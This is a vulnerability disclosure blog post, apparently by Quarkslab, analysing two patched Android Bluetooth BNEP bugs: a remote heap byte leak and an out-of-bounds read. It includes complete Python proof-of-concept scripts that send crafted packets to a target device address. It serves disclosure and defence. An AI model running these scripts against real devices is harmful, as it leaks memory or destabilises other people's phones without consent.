The March 2018 Android Security Bulletin includes fixes for 10 vulnerabilities in its Bluetooth stack, some of which were also independently discovered by Quarkslab, but were fixed while we were in the process of reporting them to Google (spoiler alert: we have reported a few more new Bluetooth vulnerabilities to the Android team — we'll disclose the details after they get fixed). This blogpost shows technical details for a couple of these fixed bugs, which can be triggered remotely and without any user interaction, as well as proof-of-concept code for them.

Introduction

We are going to describe two vulnerabilities affecting the code that implements the BNEP protocol in the Android Bluetooth stack, which were recently fixed in the March 2018 Android Security Bulletin. 4 out of 10 Bluetooth vulnerabilities in this month's bulletin are related to BNEP, so the CVEs analyzed here must be from this subset, though it's not clear exactly which ones:

  • CVE-2017-13258 (discovered by Julian Rauchberger);

  • CVE-2017-13260 / CVE-2017-13261 / CVE-2017-13262 (discovered by Pengfei Ding, Chenfu Bao and Lenx Wei of Baidu X-Lab).

The first vulnerability we are going to analyze in this blogpost allows a remote attacker (within Bluetooth range) to disclose single bytes belonging to the heap of the com.android.bluetooth daemon of the target device, by sending a specially crafted BNEP packet.

The second vulnerability is also related to the BNEP protocol. It is an Out-of-Bounds (OOB) read, but its impact is not so clear: it could potentially make the com.android.bluetooth daemon crash (if the OOB read access hits unmapped memory), but it could also have some other unintended consequences as a product of making the code operate on bogus data.

Vulnerability #1: BNEP bnep_data_ind() Remote Heap Disclosure

Details

BNEP (Bluetooth Network Encapsulation Protocol) is used for delivering network packets on top of the L2CAP protocol. Incoming BNEP packets are handled by the bnep_data_ind() function [system/bt/stack/bnep/bnep_main.cc]. Actually two bugs have been patched in this function, as we'll explain in this section.

428  static void bnep_data_ind(uint16_t l2cap_cid, BT_HDR* p_buf) {
      ...
444    /* Get the type and extension bits */
445    type = *p++;
446    extension_present = type >> 7;
447    type &= 0x7f;
448    if ((rem_len <= bnep_frame_hdr_sizes[type]) || (rem_len > BNEP_MTU_SIZE)) {
449      BNEP_TRACE_EVENT("BNEP - rcvd frame, bad len: %d  type: 0x%02x", p_buf->len,
450                       type);
451      osi_free(p_buf);
452      return;
453    }

In the code shown above, we can see at line 445 that type comes from the BNEP packet (referenced by the p pointer) and it's fully controlled by the attacker. So here we have the first bug: type is used at line 448 to index the bnep_frame_hdr_sizes array without checking if it's within the bounds of said array, which is defined in the same file like this:

const uint16_t bnep_frame_hdr_sizes[] = {14, 1, 2, 8, 8};

The fix for this first issue is here.

A few lines later, we reach this code:

457    if ((p_bcb->con_state != BNEP_STATE_CONNECTED) &&
458        (!(p_bcb->con_flags & BNEP_FLAGS_CONN_COMPLETED)) &&
459        (type != BNEP_FRAME_CONTROL)) {
...
464      if (extension_present) {
....
470        uint8_t ext, length;
471        uint16_t org_len, new_len;
472        /* parse the extension headers and process unknown control headers */
473        org_len = rem_len;
474        new_len = 0;
475        do {
476          ext = *p++;
477          length = *p++;
478          p += length;
479
480          if ((!(ext & 0x7F)) && (*p > BNEP_FILTER_MULTI_ADDR_RESPONSE_MSG))
481            bnep_send_command_not_understood(p_bcb, *p);
...

Notice that at line 477, a 16-bit value (length) is read from the attacker-controlled BNEP packet, and then, at line 478, it's blindly trusted to advance the p pointer, without any attempt to verify if the BNEP packet contains enough data. Right after that, at line 480, if the byte pointed by p (now pointing out of bounds) is greater than BNEP_FILTER_MULTI_ADDR_RESPONSE_MSG (0x06), then that OOB byte is echoed back to the remote peer, by calling the bnep_send_command_not_understood() function.

Therefore, this vulnerability can be used to remotely disclose a single byte from the heap of the com.android.bluetooth daemon, from an arbitrary 16-bit offset after our BNEP packet data. The fix for this memory disclosure vulnerability can be found in this commit.

Note that the first bug in this function (indexing bnep_frame_hdr_sizes with a user-controlled value without bounds checking) is not really relevant to the information leak bug, but it can influence the minimum offset from which we can disclose memory.

Proof-of-Concept

The following Python code illustrates the vulnerability by repeatedly attempting to leak single bytes from the heap of the com.android.bluetooth daemon of the target device, from arbitrary offsets after the BNEP packet data. If we don't get an answer in time and the BNEP connection times out, that means that the byte that we attempted to leak was <= BNEP_FILTER_MULTI_ADDR_RESPONSE_MSG (0x06), and therefore the vulnerable Bluetooth daemon decided not to send it to us.

This Python code uses the pybluez package.

import os
import sys
import struct

import bluetooth

BNEP_PSM = 15
BNEP_FRAME_COMPRESSED_ETHERNET = 0x02
LEAK_ATTEMPTS = 20

def leak(src_bdaddr, dst):

    bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bnep.settimeout(5)
    bnep.bind((src_bdaddr, 0))
    print 'Connecting to BNEP...'
    bnep.connect((dst, BNEP_PSM))
    bnep.settimeout(1)
    print 'Leaking bytes from the heap of com.android.bluetooth...'

    for i in range(LEAK_ATTEMPTS):
        # A byte from the heap at (p + controlled_length) will be leaked
        # if it's greater than BNEP_FILTER_MULTI_ADDR_RESPONSE_MSG (0x06).
        # This BNEP packet can be seen in Wireshark with the following info:
        # "Compressed Ethernet+E - Type: unknown[Malformed packet]".
        # The response sent by bnep_send_command_not_understood() contains 3 bytes:
        # 0x01 (BNEP_FRAME_CONTROL) + 0x00 (BNEP_CONTROL_COMMAND_NOT_UNDERSTOOD) + leaked byte

        # 0x82 & 0x80 == 0x80 -> Extension flag = True. 0x82 & 0x7f == 0x2 -> type
        type_and_ext_present = BNEP_FRAME_COMPRESSED_ETHERNET | 0x80

        # 0x80 -> ext -> we need to pass this check: !(ext & 0x7f)
        ext = 0x80

        # i -> length (the 'p' pointer is advanced by this length)

        bnep.send(struct.pack('<BBB', type_and_ext_present, ext, i))
        try:
            data = bnep.recv(3)
        except bluetooth.btcommon.BluetoothError:
            data = ''

        if data:
            print 'heap[p + 0x%02x] = 0x%02x' % (i, ord(data[-1]))
        else:
            print 'heap[p + 0x%02x] <= 6' % (i)

    print 'Closing connection.'
    bnep.close()


def main(src_bdaddr, dst):
    os.system('hciconfig %s sspmode 0' % (src_bdaddr,))
    os.system('hcitool dc %s' % (dst,))

    leak(src_bdaddr, dst)


if __name__ == '__main__':
    if len(sys.argv) < 3:
        print('Usage: python bnep01.py <src-bdaddr> <dst-bdaddr>')
    else:
        if os.getuid():
            print 'Error: This script must be run as root.'
        else:
            main(sys.argv[1], sys.argv[2])

Vulnerability #2: BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG OOB Read

Details

As stated earlier, incoming BNEP packets are handled by the bnep_data_ind() function [system/bt/stack/bnep/bnep_main.cc]. If the type field of the incoming BNEP packet is BNEP_FRAME_CONTROL (0x01), then the bnep_process_control_packet() function is called, which handles this specific type of BNEP frame type.

428  static void bnep_data_ind(uint16_t l2cap_cid, BT_HDR* p_buf) {
...
507    switch (type) {
...
517      case BNEP_FRAME_CONTROL:
518        ctrl_type = *p;
519        p = bnep_process_control_packet(p_bcb, p, &rem_len, false);

bnep_process_control_packet() [system/bt/stack/bnep/bnep_utils.cc] implements a switch statement to handle the different BNEP control types.

720  uint8_t* bnep_process_control_packet(tBNEP_CONN* p_bcb, uint8_t* p,
721                                       uint16_t* rem_len, bool is_ext) {
...
747    switch (control_type) {
...
762      case BNEP_SETUP_CONNECTION_REQUEST_MSG:
763        len = *p++;
764        if (*rem_len < ((2 * len) + 1)) {
765          BNEP_TRACE_ERROR(
766              "%s: Received BNEP_SETUP_CONNECTION_REQUEST_MSG with bad length",
767              __func__);
768          goto bad_packet_length;
769        }
770        if (!is_ext) bnep_process_setup_conn_req(p_bcb, p, (uint8_t)len);
771        p += (2 * len);
772        *rem_len = *rem_len - (2 * len) - 1;
773        break;

Most of the case instances for the switch(control_type) statement in the bnep_process_control_packet() function start by checking if there's enough data for the given control type (that is, they check if the value being held in the rem_len variable is big enough). However, as shown above, in the handling of control type BNEP_SETUP_CONNECTION_REQUEST_MSG, at line 763 the code dereferences the p pointer without checking if there is enough remaining data in the attacker-controlled BNEP packet; if there isn't any more data, then p is already pointing after the packet data, so it performs an OOB read access.

At the binary level, the OOB read access happens here:

bnep_process_control_packet+7A
bnep_process_control_packet+7A     loc_C7CE6                            ; jumptable 000CDCBE case BNEP_SETUP_CONNECTION_REQUEST_MSG (0x1)
bnep_process_control_packet+7A     LDRB.W          R10, [R4,#1]         ; len = *p++ <<<<< OOB read!
bnep_process_control_packet+7E     LDRH.W          R12, [R5]            ; R12 = *rem_len;
bnep_process_control_packet+82     MOV.W           R6, R10,LSL#1        ; R6 = 2 * len
bnep_process_control_packet+86     CMP             R6, R12              ; if (*rem_len < ((2 * len) + 1)) {
bnep_process_control_packet+88     BLT             loc_C7D0A

A look into the commit that fixes this issue reveals that the case handlers for the BNEP_FILTER_NET_TYPE_SET_MSG and BNEP_FILTER_MULTI_ADDR_SET_MSG control types were also affected in the same way.

Proof-of-Concept

The following Python code illustrates the vulnerability by triggering an OOB read access in the handling of the BNEP_SETUP_CONNECTION_REQUEST_MSG control type within the bnep_process_control_packet() function. Note that this OOB read will not necessarily crash the Bluetooth daemon; therefore, a debugger might be necessary to verify that the out-of-bounds access is actually happening.

import os
import sys
import struct

import bluetooth


BNEP_PSM = 15
BNEP_FRAME_CONTROL = 0x01

# Control types (parsed by bnep_process_control_packet() in bnep_utils.cc)
BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01


def oob_read(src_bdaddr, dst):

    bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
    bnep.settimeout(5)
    bnep.bind((src_bdaddr, 0))
    print 'Connecting to BNEP...'
    bnep.connect((dst, BNEP_PSM))
    bnep.settimeout(1)
    print "Triggering OOB read (you may need a debugger to verify that it's actually happening)..."

    # This crafted BNEP packet just contains the BNEP_FRAME_CONTROL frame type,
    # plus the BNEP_SETUP_CONNECTION_REQUEST_MSG control type.
    # It doesn't include the 'len' field, therefore it is read from out of bounds
    bnep.send(struct.pack('<BB', BNEP_FRAME_CONTROL, BNEP_SETUP_CONNECTION_REQUEST_MSG))
    try:
        data = bnep.recv(3)
    except bluetooth.btcommon.BluetoothError:
        data = ''

    if data:
        print '%r' % data
    else:
        print '[No data]'

    print 'Closing connection.'
    bnep.close()


def main(src_hci, dst):
    os.system('hciconfig %s sspmode 0' % (src_hci,))
    os.system('hcitool dc %s' % (dst,))

    oob_read(src_hci, dst)


if __name__ == '__main__':
    if len(sys.argv) < 3:
        print('Usage: python bnep02.py <src-bdaddr> <dst-bdaddr>')
    else:
        if os.getuid():
            print 'Error: This script must be run as root.'
        else:
            main(sys.argv[1], sys.argv[2])

Conclusion

The vulnerabilities in the Bluetooth stack of Android analyzed here are caused by the lack of validation on attacker-controlled Bluetooth BNEP packets. Both bugs can be triggered from remote (within Bluetooth range) and without any user interaction. The first vulnerability is the most interesting one, since it allows a remote attacker to disclose memory contents of the Bluetooth daemon. Although the memory disclosure is limited to a single byte per crafted packet, it can be triggered several times.

As mentioned before, we have discovered a few more vulnerabilities affecting Android's Bluetooth stack. We have already reported them to the Android team and we'll discuss them after they get fixed, so stay tuned for more!

Thanks

A big thanks goes to my colleagues at Quarkslab for proof-reading this blogpost and providing feedback about it.


If you would like to learn more about our security audits and explore how we can help you, get in touch with us!